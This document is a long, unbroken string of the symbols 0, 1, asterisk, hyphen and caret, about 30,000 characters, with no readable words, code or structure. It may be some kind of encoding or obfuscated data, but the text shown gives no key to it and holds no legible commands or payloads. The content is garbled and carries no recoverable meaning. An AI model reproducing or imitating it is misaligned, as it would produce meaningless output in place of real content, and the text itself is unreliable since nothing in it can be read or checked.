01*10-01***1^1*01101**10-10101*110-001**01^1*01101*1**110101*-^1***1**001101*1**11*1*0-*1**001**001101*1**110101*1*001***1**001101*1**110101*1*001***1**001101*1**110101*-^1***1**001101*1**1*01*1101*1**001**001101*00^-10101*1*001***1*11*1101*00^-10101*11*01***1*11*1101*1**1*01*1101*1**001**001101*1**11*1*1010-1**001**001101*-110-0101*101^101**01^1*01101*010110-0101*110-***01*11*1101*010-1010101*-011***01*11*1101*010-1010101*^1101***1*11*1101*1**110101*^^1***1**001101*1**1*01*-1*1**001**001101*1**110101*101011***01**001101*1**110101*110^1***1**001101*1**11*1*1010-1**001**001101*1**110101*110^1***1**001101*1**110101*10-01***1**001101*1**110101*10-1***01**001101*1**1*01*1101*1**001**001101*1**110101*-011***01**001101*1**11*1*10110-**001**001101*011010-0101*-011***01^1*01101*1*10-0101*101*101**01^1*01101*1**110101*101^1***1**001101*1**1*01*-00-**001**001101*001^-*1*0-*11**01^1*01101*010-1*001*1011*1**001*11*1101*010-1010101*^^1***1*11*1101*010-1010101*--***01*11*1101*1**11*1*1010-1**001**001101*1**110101*101011***01**001101*1**110101*101011***01**001101*1**110101*^1101***1**001101*1**1*01*^1*1**001**001101*1**1*01*1011*1**001**001101*1**11*1*1010-1**001**001101*1**1*01*1011*1**001**001101*0110^1*01*-00-**001**001101**^-0101*^-***01**001101*001*011*1*10110-**001**001101*1101*1*01*-00-**001*01*1101*11*0-0101*101011***01*01*1101*001*01*01*-1*1**001**001101*1**1*01*1011*1**001**001101*1**1*01*^1*1**001**001101*1101*110101*110^1***1**001101*0110^110101*101*1***1**001101*1**110101*-^1***1**001101*010-1*001*1101*1**001*01*1101*1**110101*1*001***1**001101*11*0-0101*-011***01*01*1101*--011*1*1010-1**001*01*1101*110-01*01*1101*1**001*01*1101*0010110110101*10-1***1011010^1101*0010110110101*101^1**001011010^1101*00101101*01*1101*1**01011010^1101*0010110110101*^1101**001011010^1101*1101*110101*1*10^11**11**1101**-0110101*101^1***011**1101*1*010110101*-*1***011**1101*001011011*1*10110-***11**1101*1*010110101*--***0011**1101*1*010110101*10-1***0011**1101*0110^1*01*-1*1**001**001101**0110110101*110^1***1*01*1101*0011010110101*101*1***1**001101**10101*01*1101*1**001**001101*1101*110101*^1101**0011*10^1101*1101*110101*^^1**0011*10^1101*1101*1*01*1011*1**011*10^1101*1101*1*01*^1*1**011*10^1101*1101*110101*-^1**0011*10^1101*1101*110101*1*001**0011*10^1101*1*010110101*^^1***011**1101*1*010110101*^-***0011**1101*00^10110101*1*001***1*1*01101*0-*110101*101^1***011**1101*0^^1*01*1101*1***11**1101*0110^110101*1101101***011**1101*1*010110101*1*001***011**1101*1*010110101*-011***0011**1101*0-^11*1*1010-1***11**1101*0110^110101*110^1***011**1101*0110^11*1*1010-1***11**1101*0110^11*1*0-*1***11**1101*0110^1*01*1101*1***11**1101*^1^110101*101^1***011**1101*0110^110101*11*01***011**1101*1*0101*01*-1*1***11**1101*1*01011*1*10110-***11**1101*0-^110101*10-1***0011**1101*0110^110101*110-***0011**1101*0110^110101*1*001***011**1101*0110^110101*-*1***011**1101*0110^110101*^^1***011**1101*0110^110101*^-***0011**1101*^1^110101*1*001***011**1101*0110^110101*101^1***011**1101*1101*1*01*1101*1***11**1101*0^^11*1*0-*1**01011010^1101*0^^1*01*-1*1**01011010^1101*0^^1*01*^1*1**01011010^1101*0^^110101*-^1**001011010^1101*0^^110101*^-***1011010^1101*0^^110101*11*01**001011010^1101*0^^110101*^^1**001011010^1101*0^^11*1*10110-**01011010^1101*1101*110101*1*10^11**11**1101*0-*11*1*10110-**01011010^1101*0-*110101*110^1**001011010^1101*0-*110101*--***1011010^1101*0-*110101*101^1**001011010^1101*0-*110101*^1101**001011010^1101*0-*110101*-^1**001011010^1101*0-*11*1*1010-1**01011010^1101*0-*1*01*1011*1**01011010^1101*0-*110101*10-1***1011010^1101*0-*1*01*1101*1**01011010^1101*0-*110101*110-***1011010^1101*0-*110101*^-***1011010^1101*0-*110101*-011***1011010^1101*0-*110101*101011***1011010^1101*0-*110101*1*001**001011010^1101*1101*110101*1*10^11**11**1101*1101*110101*11*01*001*011**1101*1101*110101*-011**1*011**1101*1**110101*110-***001101*01101*1**1*01*-1*1***1101*01101*1**110101*-^1***01101*01101*1**110101*101^1***01101*01101*1**1*01*1101*1***1101*01101*1**110101*11*01***01101*01101*001*011*1*10110-***1101*01101*001*0110101*10-1***001101*01101*1**110101*101*1***01101*01101*1**110101*110^1***01101*01101*1101*110101*^-***001101*01101*1101*110101*11*01***01101*01101*1101*110101*^^1***01101*01101*1101*11*1*10110-***1101*01101*001*0110101*-*1***01101*01101*001*0110101*101*1***01101*01101*001*01*01*-00-***1101*01101*001*011*1*0-*1***1101*01101*001*01*01*^1*1***1101*01101*001*0110101*--***001101*01101*001*0110101*110-***001101*01101*1**11*1*10110-***1101*01101*001*0110101*11*01***01101*01101*1**1*01*-00-***1101*01101*-*0110101*1*001***01101*01101*1**110101*-011***001101*01101*001*0110101*-011***001101*01101*1**11*1*0-*1***1101*01101*1**110101*1*001***01101*01101*1**110101*--***001101*01101*1**110101*101011***001101*01101*10-11010101*10-^1**01^1*01101*010-1010101*110-***01*11*1101*010-1010101*^-***01*11*1101*010-1010101*-011***01*11*1101*0110-010101*101011***01*1*01101*0^-01*1*0-*1**001*1*01101*101101101*1*0-*1**001*1*101**0^1*1***1101***1*011*****0010101*1*11******1*****101*00-11*01**-0101***1*011*****0010101*101101******1*****101**1011*01**0110101***1*011*****0010101*^101******1*****101*0010101*01**1010101***1*011*****0010101*10^1******1*****101***1*01**1^101***1*011*****0010101*1*01******1*****101*001101*001**0^101***1*011*****0010101*10-******01*****101**11**1**1*101***1*011*****0010101*^11******01*****101*001**001***0101***1*011*****0010101*10101******01*****001**0--01**-^1***1*011*****0010101*1*1******01*****001*00-0-101**0-001***1*011*****0010101*1011******001*****001**^-101**101^1***1*011*****0010101*^1******001*****001*0010110-01**001^1***1*011*****0010101*101*******1*****001**0010-01**110^1***1*011*****0010101*1*******001*****001*0011*-01**010^1***1*011******0101*10--*****01*****001**-101101**^^1***1*011******0101*^-11*****01*****001*00^1101101***^1***1*011******0101*1010-1*****01*****001**010101101**-*1***1*011******0101*1*-1*****01*****001*00-^1101**011*1***1*011******0101*10110-*****01*****001**10^1101**101*1***1*011******0101*^10-*****01*****001*00101*1101**001*1***1*011******0101*10^-*****01*****001***001101**11*01***1*011******0101*1*0-*****01*****001*00110-0101**01*01***1*011******0101*10-011*****01*****001**110110101**1*001***1*011******0101*^11011*****01*****001*001*110101****1***1*011******0101*10101011*****01*****001**011010101**--***01*011******0101*1*1011*****01*****001*00-0010101**0-11***01*011******0101*101^11*****01*****001**1*10101**10-1***01*011******0101*^^11*****01*****001*0010-00101**00-1***01*011******0101*101*11*****01*****001**001^101**010-***01*011******0101*1*0011*****01*****001*001^^101**^-***01*011******0101*10-101*****01*****001**-*101***-***01*011******0101*^-01*****01*****001*00^1*101**011011***01*011******0101*10101101*****01*****001**01*0101**101011***01*011******0101*1*1101*****01*****001*00--^1**1^11***01*011******0101*10110101*****01*****001**10-^1**1*11***01*011******0101*^10101*****01*****001*001010-001***011***01*011******0101*10^101*****01*****001***-001**-101***01*011******0101*1*0101*****01*****001*00110101^1**0-01***01*011******0101*10-001*****01*****001**1^1^1**101101***01*011******0101*^1^1*****01*****001*001*01^1**001101***01*011******0101*1010^1*****01*****001**0-0^1**010101***01*011******0101*1*^1*****01*****001*00-010^1**01^1***01*011******0101*1011*1*****01*****001**^10^1**00^1***01*011******0101*^1*1*****01*****001*00101^^1**11*1***01*011******0101*101*01*****01*****001**00^^1**1*01***01*011******0101*1**1*****01*****001*0011*0^1***001***01*011******0101*10-11*****001*****001**-11*1**-11***001*011******0101*^-1*****001*****001*00^-*1**0-1***001*011******0101*1010-*****001*****001**01011*1**10-***001*011******0101*1*-*****001*****001*00-101*1**11011***001*011******0101*1011011*****001*****001**10101*1**01011***001*011******0101*^1011*****001*****001*0010^1*1**01101***001*011******0101*10^11*****001*****001***01*1**10101***001*011******0101*1*011*****001*****001*0011011*01**1*1***001*011******0101*10-01*****001*****001**1101*01**-1****1*011******0101*^1101*****001*****001*001*1*01**0-****1*011******0101*1010101*****001*****001**011*001**1011****1*011******0101*1*101*****001*****001*00-**1**0011****1*011******0101*101^1*****001*****001**1**01**1101****1*011******0101*^^1*****001*****11**10--01**0101****1*011******0101*101*1*****001*****11**010-1101***1*001**10110101******101*0-1*********1**011**010-1101**-****01010101******0101*^11******01*****11**010-1101**-****0^1101******0101*00101******01**01^1*11***-1101**101****01010101******0101*001************011***-1101**101****0^1101*****001^1*-00-*****01**01^1*11***-1101**101****0^1101*****001^1*010^11*****01**01^1*11***-1101**101****0^1101*****001^1*10110101*****01**01^1*11***-1101**101****0^1101*****001^1*-1*1*****01**01^1*11***--**0--11**001010101*****001^1*010^1***********11**-10-1**0110-11**001**-001*-01^1^1*00^1****001*1*****11**11010-1**0010-11**001010101******^1*-11011****1******011**11010-1**0^-11**0010-01******^1*001^11*****01**011**11**01010-1**0^-11**001010101******^1*-01101****1***00101*0011**^10-1**0^-11**001**1*****00^1*00^101****1***00101*0011**001*-**001010-**00101010^^1*1*^10^1*0--***********11**11*0-**001010-**001010101******^1*0-011****01******011**11*0-**001010-**001010101******^1*--***********011**11*0-**001010-**00^1101*001*1101*10^1*00-1******1***001*11**11*0-**001010-**00^1101*001*1101*10^1*^-******1***001*11**11*0-**001010-**00^1101*001*1101*10^1*011011******1***001*11**11*0-**001010-**00^1101*001*1101*10^1*1^11******1***001*11**11*0-**001010-**00^1101*001*1101*10^1**011******1***001*11**11*0-**001010-**00^1101*001*1101*10^1*101101******1***001*11**11*0-**001010-**00^1101*001*1101*10^1*010101******1***001*11**11*0-**001010-**00^1101*****001*1*-^1*****001**01^1*11**11*0-**001010-**00^1101*****001*1*1*11******1**01^1*11**11*0-**001010-**00^1101*****001*1*001*******1**01^1*11**11*0-**001010-**00^1101*****001*1*^^1*****001**01^1*11**11*0-**001010-**00^1101*****001*1*-11******01**01^1*11**11*0-**001010-**00^1101*****001*1*-011******1**01^1*11**11*0-**001010-**00^1101*****001*1*-*******1**01^1*11**0-11011***-011**001010101*001*1101*10^1*-001******1*****11**0^11011***-011**001010101*001*1101*10^1*00^1****001***001**011**1*01011***-011**001010101*001*1101*10^1*1*01****001*1**01**-**1*01011***-011**00^1101*****001*1*0-*1*****01**01^1*11**1101^11***011011**001010101*001*1101*10^1*0-1*****1*1**01**-**1101^11**0101^11**0010-01*001*1101*10^1*11011******01**01**011**1101^11**0010^11**0010-01*001*1101*10^1**11******01**01**011**1101^11***-101**0010-01*001*1101*10^1*10101******01**01**011**1101^11**001101101**0010-01*001*1101*10^1*0^1******01**01**011**1101^11***001101**0010-01*001*1101*10^1*-1******001**01**011**1101^11**001010101**0010-01*001*1101*10^1*0011******001**01**011**1101^11****101**0010-01*001*1101*10^1*^1******001**01**011**1101^11**01101^1**0010-01*001*1101*10^1*011*******1**01**011**1101^11**00101^1**00^1101*001*1101*10^1*11******1*1**0^1*011**1101^11***10^1**00^1101*001*1101*10^1*******001*1**0^1*011***1^11**01*^1**00^1101*001*1101*11*1*10--****1*1**0^1*011**-0^11**01011*1**00^1101*001*1101*11*1*010-11****1*1**0^1*011**0-*11***11*11***0-11*01*1101*11*1*-0-1****1***001**011**0-*11***11*1**00^1101*****001*1*1010-1*****01**01^1*11**11*0011**0-*0101******1*1101*11*1*0^-1****1***001**011***-101**0011*0101******1*1101*11*1*-10-****1***001**011***-101**0011*01**00^1101*****001*1*10110-*****01**01^1*11**110101101****0011***0-11*01*1101*11*1*01010-****1***001**011**00^1101**0--101***0-11*01*1101*11*1*-00-****1***001**-**0^10101**010-1101***0-11*01*1101*11*1*00^-****1***001**011**0-00101**010-11***1010101*001*1101*11*1*1*0-****1***001**-**0-00101**00101101***10-01*001*1101*11*1*0-1011*****01**01**011**110^101***01101***1010101*001*1101*11*1*11011011****1***001**011**010^101**00^101***1010101*001*1101*11*1**11011****1***001**011**011*101**00^101***1010101*001*1101*11*1*10101011****1***001**011**00-^1**00^101***1010101*001*1101*11*1*0^1011****1*1**01**-**0^1^1**00^101***1010101*001*1101*11*1*-^11****1*1**01**-**0^1^1**00-001***10-01*****001*1*001^1*****001**001**11**0-0^1**00-001***1010101*001*1101*11*1*001^11****1*1**01**-***00^1**00-001***1010101*001*1101*11*1*^^11****1*1**01**-***00^1**010-1***010-01*****001*1**01******01**001**11***00^1**0101011***010-01*****001*1*011*11*****01**001**11**-11*1**00^11***0^1101*****001*1*11*011****1*1**00101*011**-11*1**0-101***0^1101*****001*1***11****1*1**00101*011**10-*1**001*1***0^1101*****001*1*10-101****1*1**00101*011**00-*1****1***0^1101*****001*1*010-01****1*1**00101*011**0^1*1**00^1***001010101*001*1101*11*1*-01101****1*1**01**-****001***11****1010101*****001*1*00101101****1****1**01**-10-1***11****1010101*001*1101*11*1*1*1101****1*1**01**101***10-1**01101****1010101*001*1101*11*1*0-0101****1***001**001**110110-**01101****1010101*001*1101*11*1*11010101****1***001**001**101010-**011****001010101*001*1101*11*1**10101****1***001**001***010-**01*****1010101*001*1101*11*1*10^101****1***001**001**011*11**00110-11**001010101*001*1101*11*1*01*101****1***001**001**011*11***010-1**0010-01*****001*1*-1^1*****01**001**01**0-1101***010-1**001010101*001*1101*11*1*00-001****1***001**001***-01***010-1**001010101*001*1101*11*1*^1^1****1*1**01**101**-10101***010-1**001010101*001*1101*11*1*0110^1****1*1**01**101**11*101***^-1**001010101*001*1101*11*1*1^^1****1***001**001**0-^1**001*-1**001010101*001*1101*11*1**0^1****1*1*****01**0-^1**001*-1**00^1101*****001*1*0-*1*****01**01^1*01**1^^1**0011010-**001010101*001*1101*11*1*1101*1****1***001**001**1**1**0011*-**001010101*****001*1**1*1****1*1**001**01***-1***01*-**001010101*001*1101*11*1*101*01****1*1*****01***-1****00-**00^1101*****001*1*01*001****1*1**01101*001***-1***01011011**00^1101*****001*1*--1****01*1**01101*001***-1****11011**00^1101*****001*1*00-11****01*1**01101*001**01^11***1*1011**001010101*001*1101*11*1*^-1****01***001**001**1101101***-^11**001010101*001*1101*11*1*0110-****01***001**001**0010101***-^11***101101*001*1101*11*1*1^-****01***001**001**^^1***-^11**001010101*001*1101*11*1**0-****01***001**001**01*01***001^11**001010101*****001*1*1011011****01*1**001**01**--****0^11**001010101*001*1101*11*1*0101011****01*1*****01***011****1*11**001010101*001*1101*11*1*-0011****01***001**001**10^1***001*011**001010101*001*1101*11*1*00^11****01***001**001**00-****1*011**001010101*001*1101*11*1*1*011****01***001**001**0^1****1*011**001010101*001*1101*11*1*0-101****01*1*****01***1****1*0011**001010101*001*1101*11*1*1101101****01***001**001**01****001*0011**001010101*****001*1**1101***00101****1**1***--**001*0011**0010^11*****001*1*1010101****01****1**1***10-1****0011**001010101*001*1101*11*1*0^101****01***001**01***110-**00--01**001010101*001*1101*11*1*-^1****01***001**01**0-00-***0-101**001010101*001*1101*11*1*001^1****01***001**01**01*0-**00110-01**001010101*001*1101*11*1*^^1****01***001**01***011011***10-01**001010101*001*1101*11*1*011*1****01***001**01***1^11***1101101**001010101*****001*1*11*01****01****1**1**001*011**001^1101**001010101*****001*1***1****01****1**1**0^-01***^1101**001010101*001*1101*11*1*10-1****001***001**01**00^1101**001*1101**001010101*001*1101*11*1*010-****001***001**01**001010101****1101**001010101*001*1101*11*1*-011****001***001**01**01*0101**00-10101**001010101*001*1101*11*1*001011****001***001**01**00110^1***-0101**001010101*001*1101*11*1*1*11****001***001**01***00^1**0010110101**001010101*001*1101*11*1*0-01****001***001**01***01*1***0110101**001010101*001*1101*11*1*110101****001***001**01**01**1**0011010101**001010101*001*1101*11*1**101****001***001**01***-11****10101**001010101*001*1101*11*1*10^1****001***001**01***10-***-00101**001010101*001*1101*11*1*01*1****001***001**01**00-011***01^101**001010101*001*1101*11*1*-11*****1***001**01**0-0011***10^101**001010101*001*1101*11*1*00-*****1***001**01**010-01***00^101**001010101*001*1101*11*1*^11*****1***001**01**00110101***1*0101**001010101*001*1101*11*1*01101*****1***001**01**0-^1****00101**001010101*001*1101*11*1*1^1*****1***001**01***0^1***-1^1**001010101*001*1101*11*1**01*****1***001**01***0^1***-1^1**00^1101*******1*-1*1*****01**01^1*1**0010-***00101^1**001010101*001*1101*11*1*1011*****01***001**01***0011***0^1^1**001010101*001*1101*11*1*0101*****01***001**01**001^1****01^1**001010101*001*1101*11*1*-*****001***001**01****1***0-0^1**001010101*001*1101*11*1*001*****001***001**01**0-01****110^1**001010101*001*1101*11*1*1******01***001**01**00^1***001010^1**001010101*001*1101*1*01*0--1****1***001**01**0-*****10^1**001010101*001*1101*1*01*110-11****1***001**01**01*****1^^1**001010101*001*1101*1*01**-11****1***001*****0^-1***^^1**001010101*001*1101*1*01*1010-1****1***001*****11010-**001*^1**001010101*001*1101*1*01*0^-1****1***001*****11*-****^1**001010101*001*1101*1*01*-10-****1***001*****-11011**001011*1**001010101*001*1101*1*01*00110-****1***001******11011***011*1**001010101*001*1101*1*01*^10-****1***001******11011***011*1**00^1101*******1*-00-*****01**01^1***00-^11**00-*01**001010101*001*1101*1*01*00^-****1***001*****^^11***11*01**001010101*001*1101*1*01*1*0-****1***001*****01*011**00101*01**001010101*001*1101*1*01*0-1011****1***001******-01***01*01**001010101*001*1101*1*01*11011011****1***001*****11010101**0011*001**001010101*001*1101*1*01**11011****1***001*****11*101***1*001**001010101*001*1101*1*01*10101011****1***001*****00-001**001**1**001010101*001*1101*1*01*0^1011****1***001*****-0^1*****1**001010101*001*1101*1*01*-^11****1***001*****1010^1*****1******001*1101*1*01*001^11********1*0101**001*^1*****1**001010101*001*1101*1*01*^^11****1***001*****1011*1*****1**001*011*******1*011*11*****01**001****001**1***--011**1011**001*1101*1*01*11*011****1***001*****0110-***110-1***1010101*001*1101*1*01***11****1***001*****00^11****0-***1010101*001*1101*1*01*10-101****1***001*****00^11***1101011***10-01*******1*010-01*****01**011*****0^11***01^11***^1101*******1*-01101****1*1**01101*****0011***01^11***1*011*******1*00101101*****01**011*****0-01***01^11***1*011*******1*1*1101*****01**001*****001101***01^11***1*011*******1*0-0101*****01**001****00110^1***00-01***1010101*001*1101*1*01*11010101****1***001*****--****-01***1010101*001*1101*1*01**10101****1*1*******00--***00101101***^1101*******1*10^101****1*1**01101****^-***0^1101***1010101*001*1101*1*01*01*101********1*****-011***0^1101***1010101*001*1101*1*01*-1^1****1*1**01**1**00-011***0-0101***^1101*******1*00-001****1*1**00^1***00-011***00-001***^1101*******1*^1^1****1*1**00101****-011****1*1***^1101*******1*0110^1****1*1**00101****-011***001*01***^1101*******1*1*^1****1*1**00101****-011***0^-***010-01*******1*-1*1*****01**001****00-011***0^101***010-01*******1*1011*1*****01**001****00-011***0-001***0^1101*******1*^1*1****1*1**00101****-11***00-001***01010101*001*1101*1*01*1^^1****1*1**01**1***0-****001****1010101*001*1101*1*01*1*^1****1***001*****0011*****1****1010101*001*1101*1*01*-1*1****1***001*****0011*****1****^1101*******1*1101*1*****01**01^1***00101****001****001010101*001*1101*1*01*1011*1****1*1**01**1***1****001*****1010101*001*1101*1*01*^1*1****1***001*****1*****1**************01***01*****01******01*01*11*001*1010101***01010^11**^1*1*01*-*1***01^^11**^1*1*01*1^11***001^^11**^1*1*01*01011****1*1**1*0-**001*11*****1*^-1*0110^--*01010-1***-1*-1*0110^--*001010-***-1*-1*0110^--*001*-***-1*-1*0110^--*001101011***-1*-1*0110^--*0--01***-1*-1*00^1^-1*0^-01***1011*-1*01^1010-1*01*1101***1011*-1*00^1^-1*001010101***1011*-1*00^1^-1*010^101***1011*-1*01^1010-1*0^1^1***1011*-1*01^1010-1*00101*1***1011*-1*00^1^-1*01**1***1011*-1*00^1^-1*0110-1***01011*-1*01^1010-1*00101011***01011*-1*01^1010-1*01*001***01011*-1*00^1^-1**0101***001011*0-*0011*0-11*0-01****1101*0-*0011*0-11*0-****001101*0-*0011*010-*0010-11***1101*0-*0011*010-*011*-***1101*0-*0011*010-*00-0011***1101******00-*01^110-**110-010-*0011*010-**01^1***1101*0-*0011*010-*01011011***01101*0-*0101^^-**0-***00^1*0011*0010-^-**0101***00-**11*0010-^-**-****-**11*0010-^-*0-****00-**11*0010-101011*0-0-1***-**11*0010-101011*001010-***-**11**0010101011*010-011***-*01011*0-^101011*0^^11***-****10101^1011*0101*11***-**11**0010101011*0--01***-**11**0010101011*0-10101***-**11**0010101011*0-00101***-**11**0010101011*0-0^1***-**11**0010101011*01*^1***-**11*0010-101011*010-11***0-******001011*00-011011**1^-01011*0-^101011*0011011***00-**11*00^11011011*010^1***00-**11*0010-101011*001101****-**11*011*-1011*0101****00-**11*011*-0011*01*-1***-**11*011*-0011*010-011***-**11*00^110^11*0-^11***-**11*0010-1*11*0101*11***-**11*00^110^11*001010101***-**11**10^^11*0101*01***-**11*0010-1*11*0-1011***0-**11**00101*11*0010^1***0-**11**-*0011*0010-***00-*011**0-**11**0011***00-**11**-*1101**0-11***-*01101*0010-101101*011010-***101*01101*0010-101101***-***101*01101*0010-101101**011011***101*01101*0010-101101*0011*11***101*01101*0010-101101**-101***101*01101*0010-101101*010101101***101*01101*0010-101101**010101***101*01101*0010-101101***101***101*01101*0010-101101*01101^1***101*01101*0010-101101*0-1*1***101*01101*0010-101101*01011011***0101****0-1*1101**01101***011****0101011*11*001*-***011*001101*00^1*1101*01*101***011*001101*00^1*1101*0^^1***011****00-1*^1*0--1***011****010101^1101*0101011***0011****010101^11***0-1***11****0101011*01*0010101011***11****0101011*1**^10-***11****0101011****-1***0011****00-1*^1*0-011***0011****00-1*^1*00^-***011****0101011*01**11*01***11*001101*00^1*1101*0^101***0011*001101*00^1*1101**1****0011****00-1*0101*00110-1***11****0101011*1**1010-1***11****00-1*^1*0-0011***011****00-1*001*0010-1***0011****010101^11**11*-***11****0101011*101*0^10-***11****00-1*0101*001*-***11****00-1*001**1*1***0011****0101011*1**0-01***0011*00101*00--*101**011011***11*****1101^101**1*11***11****0101011*101*01^1101***11****0101011*101*01101^1***11****0101011*101*0-*01***11**101*01^10^101*011*001***11**101*01^10^101*0-0-***011**101*01^10^101*0011011***0011*00^1**00-10101*0-1****011****0101011*101*******11*00^1**00-1^1*00^1011***11****010101^^1*0--01***11*001**011*^^1**^101***11****00-1*^1*0-0^1***11****00-1*^1*00101*1***11****00-1*^1*0--1***011****00-1*^1*00^-***011****00-1*^1*0-0011***011****010101^^1*01*011***011*00^1*001*^^1**10101***011****010101^^1*001*01***011****00-1*^1*0-011***0011*00^1*001*^^1*001101****11*****110110^1*01101****011**1**0-011*01*010--***11*0011**^1*1*1**^-***11**1**0-011*01**-011***11**1**0-011*01*00-0011***11****0101011*001*00^1101***11****0101011*001*0-1^1***11*0011**^1*1*1*01^^1***11*0011**^1*1*1**01*1***11*0011**^1*1*1*0--1***011*0011**^1*1*1**01011***011*0011**^1*1*1*011*11***011****0101011*001**00101***011*0011**^1011*01*011*01***011*0011**^1*1*1*0010-***0011*0011**^1*1*1***1***0011****0101011*001**001****11*0011**^1011*01*0-****0011*0011**^1*-1**0--***11*00101*00--00-***-1***11**1**0-0110-*001*0-***11*0011**^1*-1**00^11***11*0011**^1*-1**01*11***11****010101^-**0-101***11*0011**^10110-*00-10101***11*0011**^1*-1**-^1***11*0011**^1*-1*001*^1***11*0011**^1*-1**00-1***011*0011**^10110-**-011***011*0011**^10110-*0011*11***011*0011**^10110-**101101***011****010101^-*001^101***011****010101^-**-001***011*0011**010^10-*001*001***011*0011**^1*-1*0010-1***0011*0011**^1*-1**-1****11**11*00-10-011*00-11011***11*0011**^1*1011**01^11***11*0011**^1*1011*001*0011***11**11**0^101011**110^1***11****0101011*11**101*1***11****0101011*11*00-*01***11*0011**^1*1011*00110-1***011****0101011*11*001*-***011*0011**^101^11**011011***011*00101*00--*11***011***011****0101011*11*00-^1***011*0011**^1*1011*00^-***0011****0101011*11**^11***0011*0011**^1*1011*00-11****11*0011**^1*1011**-****011*0011**^1*1101**--1***11*00101*00--10101*001010-1***11****010101^101**-0-***11****010101^101*001*0-***11*0011**^10110101**^1011***11*0011**^10110101**01*11***11*0011**^10110101*00^-01***11*0011**^10110101**0110101***11*0011**^1*1101***0101***11**01*00-0-1101*00^1^1***11*0011**^10110101*00-1*1***11*00101*00--10101*001^-***011****010101^101*0010^11***011*0011**^1*1101**^101***011*00101*00--00101*001^11***0011**01*00-0-1101*00110101***0011****010101^101*0011*1***0011****010101^101*0010101****11****010101^101**001****011**01*00-0-^1*0011010-***11*0011**^1*^1*0010-011***11****0101011*01*0010101011***11****0101011*01**-0011***11*******001***00-**011*1***0101011*01**0101101***11**1**0-011*1**1^101***11****0101011*01*00-1^1***11****0101011*01**001^1***11****0101011*01**11*01***11**01**101101*1**010-***011**01**101101*1*00-*1***011****00-1*001*0010-1***0011****0101011*01**00-***0011****0101011*01**^11***0011****0101011*01*00110101***0011****00-1*001**1*1***0011****0101011*01*0010101****11****0101011*01*001011****011****010101^11**10--***11****010101^11***0-1***11*****11011011***10-***11****010101^11**11*-***11****010101^11***11011***11****010101^11**001^11***11*******01**-0^1**00-^1101**0-011011**101*11***11*0011**010^1011**00-101***11****010101^11**1^1101***11*0011**^1011011**01^101***11*0011**^1*-**101*01***11*0011**^1011011****01***11*0011**^1011011**^-1***011****010101^11**1^-***011*0011**^1011011**0-101***011****010101^11**0110101***011*0011**010^1011**00-1***0011*0011**0-*001**0--1***11****0101011*1**1010-1***11****0101011*1**0-0-***11****0101011*1**^10-***11****0101011*1**01101011***11****0101011*1***01011***11*001**011*1*1**1*0011***11****0101011*1**00-101***11****0101011*1**0^1101***11*******01**-0^1**001101011******1**-0^1**00-0-******1**01*101**001101011******1**-0^1**00-1011******1**^1*1**00110101^1**0-01^1**1*011***011*****1101^1**0110101***011****0101011*1**001*1***011****0101011*1**--***0011****0101011*1**101011***0011****0101011*1**0-01***0011****00-1*01**10101****11****00-1*1***--***11****00-1*1**01*0-***11****00-1*1**001*011***11*001***0101011**0-1*1***11*001**011*^1**01*-***011****010101^1**0^1011***011****010101^1**011*11***011*001**011*^1**011*01***011*001**011*^1***001****11****00-1***001^-1***11****00-1****0-011***11****00-1***00--01***11****00-1****0^101***11****00-1***001101*1***11*****11011***0-101***011****00-1***0011*01***011****0101011****-1***0011****0101011****0011***0011****00-1***00101****0011***************1*****1*************1***001*********-11011*****01**001101*********011011********001**********00101*********01**********001*1********0010-1*********1*01********0^1*********001101011********1*-********01*001********011**********01*******001**^101*********1**********01011*********1^1******001**01*11********001010101*****001**10^101********101101***********1*****0101**00101******01***1101********00^-1*****01**0^1*********01*****************************-11*^1*010-^-0110--10-1010101********1*********************1*110-1011*1101^1*01011*1******-1101**101*****0^10-001*1*********1*10^^1010101010-*1011*1**********1******0^10-001011***01^10101010101011*1******101**0101101*****011*-**01**********001^-0-001^-0110^101^^-*10-01^101011*1******-101*01011******0010110^1^1******--011*1******1^1101*00-********0011011***101************0^-001*1^1^11**1^1^11*-01**11*-01*01011*110-*********11**************001*****1**001*0^10^101^10^1*0^10101*11****011**110-11*101********001*-1*001*-01*10101*11****011**110-11*101**********-1*001*-01*10101*11****011**110-11*101********00-10-*001*-01*10101*11****011**110-11*101*********-0-*001*-01*10101*11****011**110-11*101********0010110-*001*-01*10101*11****011**110-11*101*********0110-*001*-01*10101*11****011**110-11*101********0011010-*001*-01*10101*11****011**110-11*101*********1010-*001*-01*10101*11****011**110-11*101********00^10-*001*-01*10101*11****011**110-11*101*********0010-*001*-01*10101*11****011**110-11*101********00-00-*001*-01*10101*11****011**110-11*101*********1^-*001*-01*10101*11****011**110-11*101********0010^-*001*-01*10101*11****011**110-11*101*********0^-*001*-01*10101*11****011**110-11*101********0011*-*001*-01*10101*11****011**110-11*101*********1*-*001*-01*10101*11****011**110-11*101********001*0-*001*-01*10101*11****011**110-11*101**********0-*001*-01*10101*11****011**110-11*101********00-11011*001*-01*10101*11****011**110-11*101*********-1011*001*-01*10101*11****011**110-11*101********0010-011*001*-01*10101*11****011**110-11*101*********0-011*001*-01*10101*11****011**110-11*101********0011011011*001*-01*10101*11****011**110-11*101*********1011011*001*-01*10101*11****011**110-11*101********00^11011*001*-01*10101*11****011**110-11*101*********0011011*001*-01*10101*11****011**110-11*101********00-01011*001*-01*10101*11****011**110-11*101*********1101011*001*-01*10101*11****011**110-11*101********0010101011*001*-01*10101*11****011**110-11*101*********0101011*001*-01*10101*11****011**110-11*101********001^1011*001*-01*10101*11****011**110-11*101*********^1011*001*-01*10101*11****011**110-11*101********001*1011*001*-01*10101*11****011**110-11*101**********1011*001*-01*10101*11****011**110-11*101********00-^11*001*-01*10101*11****011**110-11*101*********-0011*001*-01*10101*11****011**110-11*101********00101^11*001*-01*10101*11****011**110-11*101*********01^11*001*-01*10101*11****011**110-11*101********00110^11*001*-01*10101*11****011**110-11*101*********10^11*001*-01*10101*11****011**110-11*101********00^^11*001*-01*10101*11****011**110-11*101*********00^11*001*-01*10101*11****011**110-11*101********00-*11*001*-01*10101*11****011**110-11*101*********11*11*001*-01*10101*11****011**110-11*101********00101*11*001*-01*10101*11****011**110-11*101*********01*11*001*-01*10101*11****011**110-11*101********0011*011*001*-01*10101*11****011**110-11*101*********1*011*001*-01*10101*11****011**110-11*101********001*0011*001*-01*10101*11****011**110-11*101**********0011*001*-01*10101*11****011**110-11*101********00--01*001*-01*10101*11****011**110-11*101*********-1101*001*-01*10101*11****011**110-11*101********0010-101*001*-01*10101*11****011**110-11*101*********0-101*001*-01*10101*11****011**110-11*101********00110-01*001*-01*10101*11****011**110-11*101*********10-01*001*-01*10101*11****011**110-11*101********00^-01*001*-01*10101*11****01